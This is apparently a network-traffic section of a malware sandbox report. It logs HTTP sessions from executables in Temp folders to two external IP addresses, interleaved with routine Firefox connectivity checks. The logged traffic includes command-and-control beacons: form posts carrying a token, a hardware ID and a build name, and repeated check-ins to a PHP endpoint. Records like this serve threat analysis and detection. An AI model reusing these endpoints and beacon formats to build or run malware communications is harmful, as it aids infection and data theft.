28	192.168.2.4	50019	185.215.113.206	80	5292	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:21.340203047 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KECFIDGCBFBAKEBFBKFB--
Nov 23, 2024 15:23:23.236129045 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50022	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:22.642776966 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:23:23.974455118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50030	34.107.221.82	80	8000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:24.967611074 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:23:26.053415060 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47660 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50034	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:25.606635094 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:23:27.048221111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50036	185.215.113.206	80	7328	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:26.510574102 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 15:23:27.918916941 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:23:27.921339035 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 33 37 43 43 39 37 37 41 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"E837CC977A2C1204349748------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"mars------JJEGCBGIDHCAKEBGIIDB--
Nov 23, 2024 15:23:28.402369022 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50053	34.107.221.82	80	8000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:28.418653011 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:23:29.595436096 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47664 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50054	34.107.221.82	80	8000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:28.418759108 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:23:29.595355988 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77914 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:23:29.706326962 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:23:30.039283037 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77914 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:23:31.102961063 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:23:31.435854912 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77916 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:23:34.409380913 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:23:34.742578983 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77919 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:23:34.780379057 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:23:35.113075018 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77919 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:23:35.808921099 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:23:36.141937971 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77920 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:23:46.222517014 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:23:46.299618006 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:23:46.665565014 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77931 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:23:56.719348907 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:24:04.391477108 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:24:04.726066113 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77949 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:24:08.291013002 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:24:08.624069929 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77953 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:24:18.165585995 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:24:18.500269890 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77963 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:24:28.523053885 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:24:38.725048065 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:24:48.929620028 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:24:49.653531075 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:24:49.986407995 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 77994 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:25:00.014939070 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:25:10.217552900 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:25:20.422409058 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:25:30.623825073 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:25:40.825457096 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:26:05.853827953 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:26:06.189701080 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 78071 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:26:11.324707031 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:26:11.662313938 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 78076 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50058	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:28.864341021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50065	34.107.221.82	80	8000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:29.861423969 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50067	34.107.221.82	80	8000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:30.733330011 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50068	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:30.862229109 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:23:32.249295950 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50070	34.107.221.82	80	8000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:31.561223030 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
